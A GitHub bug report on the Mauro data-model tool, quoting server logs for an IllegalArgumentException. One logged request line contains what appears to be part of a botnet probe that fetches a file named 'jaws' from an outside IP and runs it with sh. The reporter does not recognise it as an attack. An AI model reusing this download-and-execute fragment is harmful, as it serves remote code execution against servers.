Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

IllegalArgumentException in log entries #445

Open
ole4ryb opened this issue Sep 7, 2023 · 0 comments
Open

IllegalArgumentException in log entries #445

ole4ryb opened this issue Sep 7, 2023 · 0 comments
Labels
bug Something isn't working

Comments

@ole4ryb
Copy link

ole4ryb commented Sep 7, 2023

Description
ApiBadRequestException in log entry.

Steps to reproduce
I don't know exactly how to reproduce it as I only noticed the exception in logs while trying to reproduce an issue with NHS Data Dictionary. Some data sets were not populated in NHS Data Dictionary as you can see in the attachments. I am not exactly sure if my changes in NHS Data Dictionary triggered that exception or not.

Screenshots

Screenshot-2023-07-24-at-12 44 03 Screenshot-2023-07-24-at-12 44 27

Environment
Please complete the following information:

Mauro Version: 2022.1

Additional context
Log entries with the exception:

1690199117755,"2023-07-24 11:45:17,755 [080-exec-7] WARN .w.s.m.s.DefaultHandlerExceptionResolver : Resolved [org.springframework.web.HttpRequestMethodNotSupportedException: Request method 'POST' not supported]"
1690199953476,"2023-07-24 11:59:13,475 [080-exec-5] WARN .w.s.m.s.DefaultHandlerExceptionResolver : Resolved [org.springframework.web.HttpRequestMethodNotSupportedException: Request method 'POST' not supported]"
1690200580919,"2023-07-24 12:09:40,918 [080-exec-1] WARN .w.s.m.s.DefaultHandlerExceptionResolver : Resolved [org.springframework.web.HttpRequestMethodNotSupportedException: Request method 'POST' not supported]"
1690204553153,24-Jul-2023 13:15:53.152 INFO [http-nio-8080-exec-2] org.apache.coyote.http11.Http11Processor.service Error parsing HTTP request header
1690204553153, Note: further occurrences of HTTP request parsing errors will be logged at DEBUG level.
1690204553153, java.lang.IllegalArgumentException: Invalid character found in the HTTP protocol [212.8.251.176/jaws;sh+/tmp/jaws ]
1690204553153, at org.apache.coyote.http11.Http11InputBuffer.parseRequestLine(Http11InputBuffer.java:570)
1690204553153, at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:271)
1690204553153, at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:65)
1690204553153, at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:891)
1690204553153, at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1784)
1690204553153, at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49)
1690204553153, at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1191)
1690204553153, at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659)
1690204553153, at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
1690204553153, at java.base/java.lang.Thread.run(Unknown Source)
1690204735930,"2023-07-24 13:18:55,930 [080-exec-8] WARN .w.s.m.s.DefaultHandlerExceptionResolver : Resolved [org.springframework.web.HttpRequestMethodNotSupportedException: Request method 'POST' not supported]"
1690205460708,"2023-07-24 13:31:00,708 [080-exec-7] WARN o.c.a.OpenidConnectAuthenticationService : Attempt to authenticate using unknown OAUTH Provider"
1690205537808,"2023-07-24 13:32:17,807 [080-exec-8] WARN .w.s.m.s.DefaultHandlerExceptionResolver : Resolved [org.springframework.web.HttpRequestMethodNotSupportedException: Request method 'POST' not supported]"
1690206802032,"2023-07-24 13:53:22,032 [80-exec-11] WARN .w.s.m.s.DefaultHandlerExceptionResolver : Resolved [org.springframework.web.HttpRequestMethodNotSupportedException: Request method 'POST' not supported]"
1690212248772,"2023-07-24 15:24:08,772 [080-exec-2] WARN .w.s.m.s.DefaultHandlerExceptionResolver : Resolved [org.springframework.web.HttpRequestMethodNotSupportedException: Request method 'POST' not supported]"
1690213108175,"2023-07-24 15:38:28,174 [080-exec-5] WARN .w.s.m.s.DefaultHandlerExceptionResolver : Resolved [org.springframework.web.HttpRequestMethodNotSupportedException: Request method 'POST' not supported]"
1690213997850,"2023-07-24 15:53:17,850 [80-exec-10] WARN .w.s.m.s.DefaultHandlerExceptionResolver : Resolved [org.springframework.web.HttpRequestMethodNotSupportedException: Request method 'POST' not supported]"
1690215757437,"2023-07-24 16:22:37,436 [080-exec-5] WARN .w.s.m.s.DefaultHandlerExceptionResolver : Resolved [org.springframework.web.HttpRequestMethodNotSupportedException: Request method 'POST' not supported]"

@ole4ryb ole4ryb added the bug Something isn't working label Sep 7, 2023
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
bug Something isn't working
Projects
None yet
Development

No branches or pull requests

1 participant